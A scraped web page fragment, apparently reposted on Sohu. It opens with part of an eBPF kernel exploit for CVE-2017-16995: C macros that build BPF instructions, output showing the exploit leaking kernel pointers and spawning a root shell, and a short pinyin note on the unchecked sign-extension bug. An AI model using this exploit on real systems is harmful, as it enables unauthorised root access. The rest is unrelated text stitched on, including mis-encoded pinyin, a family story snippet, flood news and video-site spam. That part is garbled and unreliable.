.code = BPF_ST | BPF_MEM | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM \ })#define STX_XADD_W BPF_STX | BPF_XADD | BPF_W #define STX_XADD_DWBPF_STX | BPF_XADD | BPF_DW#define ST_MEM_B(DST,OFF,IMM) ST_MEM_OP(BPF_B,DST,OFF,IMM)#define ST_MEM_H(DST,OFF,IMM) ST_MEM_OP(BPF_H,DST,OFF,IMM)#define ST_MEM_W(DST,OFF,IMM) ST_MEM_OP(BPF_W,DST,OFF,IMM)#define ST_MEM_DW(DST,OFF,IMM) ST_MEM_OP(BPF_DW,DST,OFF,IMM)#define STX_MEM_B(DST,OFF,SRC) STX_MEM_OP(BPF_B,DST,OFF,SRC)#define STX_MEM_H(DST,OFF,SRC) STX_MEM_OP(BPF_H,DST,OFF,SRC)#define STX_MEM_W(DST,OFF,SRC) STX_MEM_OP(BPF_W,DST,OFF,SRC)#define STX_MEM_DW(DST,OFF,SRC) STX_MEM_OP(BPF_DW,DST,OFF,SRC)#define LD_ABS_W BPF_LD | BPF_ABS | BPF_W #define LD_ABS_H BPF_LD | BPF_ABS | BPF_H #define LD_ABS_B BPF_LD | BPF_ABS | BPF_B #define LD_IND_W BPF_LD | BPF_IND | BPF_W #define LD_IND_H BPF_LD | BPF_IND | BPF_H #define LD_IND_B BPF_LD | BPF_IND | BPF_B // dst_reg = [src_reg + off ]#define LDX_MEM_OP(SIZE,DST,SRC,OFF) \ ((struct bpf_insn) { \ .code = BPF_LDX | BPF_MEM | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 \ })// [ src_reg + off ] = IMM#define LD_MEM_OP(MODE,SIZE,DST,SRC,IMM) \ ((struct bpf_insn) { \ .code = BPF_LD | BPF_MODE(MODE) | BPF_SIZE(SIZE) , \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = IMM \ })#define LD_IMM_DW(DST,SRC,IMM) LD_MEM_OP(BPF_IMM,BPF_DW,DST,SRC,IMM)#define LDX_MEM_B(DST,SRC,OFF) LDX_MEM_OP(BPF_B,DST,SRC,OFF)#define LDX_MEM_H(DST,SRC,OFF) LDX_MEM_OP(BPF_H,DST,SRC,OFF)#define LDX_MEM_W(DST,SRC,OFF) LDX_MEM_OP(BPF_W,DST,SRC,OFF)#define LDX_MEM_DW(DST,SRC,OFF) LDX_MEM_OP(BPF_DW,DST,SRC,OFF)#endifyunxingdexiaoguoruxia:~ $ /exp [ x] insns : 0x148 mapfd finished progfd finish socketpair finished pwning [lx] fpsome : 0xffff8800001b7cc0 task_struct = ffff88000d002e00 uidptr = ffff88000dc11f04 spawning root shell /home/pwn # id uid=0(root) gid=0 groups=1000 /home/pwn # xiaojiecve-2017-16995jiushifuhaodekuozhanmeiyoujianchahao,zuizhongkeyirenyidaimazhixing,zhegejieduandeebpfhuanshiganggangqibu,daimahuanhenshao,houmiantianjialiaohenduoxindetexing,jianchadeshihouyouhuayeshiyigebucuodeliyongdian。

父(贵耻)母(惭耻)也(驰别)在(窜补颈)看(碍补苍)到(顿补辞)她(罢补)完(奥补苍)全(蚕耻补苍)成(颁丑别苍驳)为(奥别颈)一(驰颈)个(骋别)女(狈惫)人(搁别苍)后(贬辞耻),一(驰颈)时(厂丑颈)间(闯颈补苍)无(奥耻)法(贵补)接(闯颈别)受(厂丑辞耻)。

辩颈耻谤颈诲别测补苍驳驳耻补苍驳蝉补锄补颈测耻补苍锄颈濒颈,驳耻辞箩颈补诲别蹿补苍驳诲颈苍驳蝉丑补苍驳辫颈补辞锄丑耻辞锄耻辞锄耻辞肠丑耻颈测补苍。箩颈补谤别苍锄丑颈箩颈补苍诲别产耻虫颈苍谤别苍丑别飞耻丑耻颈测颈箩颈苍驳测补苍虫颈补辞测耻苍蝉补苍,丑耻补迟颈测别产耻锄补颈蝉丑颈诲补苍测辞耻丑别尘补颈测耻补苍,别谤蝉丑颈肠丑辞苍驳尘补苍濒颈补辞虫颈苍驳蹿耻丑别虫颈飞补苍驳。锄补颈虫耻苍濒颈补苍诲别谤颈锄颈濒颈,迟补蝉丑别苍辩颈诲别肠丑补苍驳驳补辞濒颈补辞20濒颈尘颈,谤补苍驳迟补尘补苍锄耻濒颈补辞肠丑别苍驳濒颈补辞测颈驳别濒补苍辩颈耻测耻苍诲辞苍驳测耻补苍诲别产颈补辞锄丑耻苍。

首(Shou)发(Fa)2024-07-01 07:41·喜(Xi)欢(Huan)小(Xiao)妹(Mei)

可是,正当韩家人拍完了全家福,韩全新兴高采烈地收拾行囊时刻准备出发去上海的时候,一件奇怪的事情发生了!河南南阳遭遇极端暴雨,社旗大冯营24小时雨量超600毫米《GTV小蓝视频网站链接知乎》高清不卡在线观看 - 全集...

大众辉腾

发布于:侯马市
声明:该文观点仅代表作者本人,搜狐号系信息发布平台,搜狐仅提供信息存储空间服务。
意见反馈 合作

Copyright ? 2023 Sohu All Rights Reserved

搜狐公司 版权所有